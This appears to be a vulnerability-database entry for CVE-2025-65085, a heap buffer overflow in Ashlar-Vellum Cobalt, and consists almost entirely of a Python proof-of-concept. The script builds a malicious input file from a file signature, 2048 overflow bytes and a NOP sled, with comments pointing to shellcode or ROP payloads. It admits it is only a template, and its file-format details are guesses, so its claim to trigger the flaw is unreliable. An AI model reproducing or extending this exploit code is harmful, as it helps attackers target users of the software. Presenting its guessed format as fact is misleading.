CVE-2025-65085 Ashlar-Vellum Cobalt堆缓冲区溢出漏洞

#!/usr/bin/env python3 """ CVE-2025-65085 PoC - Ashlar-Vellum Cobalt Heap Buffer Overflow This PoC demonstrates the vulnerability by generating a malicious input that triggers heap buffer overflow in affected versions. """ import struct import sys def generate_malicious_input(): """ Generate a malicious input file to trigger heap buffer overflow. The actual exploit requires specific knowledge of the vulnerable file format and memory layout. """ # Header for Ashlar-Vellum file format header = b'AVCO' # Ashlar-Vellum Cobalt signature # Version identifier version = b'\x12\x06' # Version 12.6 # Craft payload that exceeds buffer boundaries # Normal buffer size might be 1024 bytes, we overflow with larger data normal_size = 1024 overflow_size = 2048 # Double the size to trigger overflow # Pattern that helps identify overflow in debugging overflow_pattern = b'A' * overflow_size # Append shellcode or return-oriented programming (ROP) gadgets # This would be customized based on target system architecture exploit_payload = b'\x90' * 16 # NOP sled # Construct the malicious file malicious_data = header + version + overflow_pattern + exploit_payload return malicious_data def main(): print("[*] CVE-2025-65085 PoC Generator") print("[*] Target: Ashlar-Vellum Cobalt <= 12.6.1204.216") print("[*] Vulnerability: Heap-based Buffer Overflow") # Generate malicious input payload = generate_malicious_input() # Save to file for testing output_file = "CVE-2025-65085_malicious_input.bin" with open(output_file, 'wb') as f: f.write(payload) print(f"[+] Generated malicious input: {output_file}") print(f"[+] Payload size: {len(payload)} bytes") print("[!] Note: This PoC generates a template. Actual exploitation") print("[!] requires further analysis of the target application's") print("[!] memory layout and file format specifications.") return 0 if __name__ == "__main__": sys.exit(main())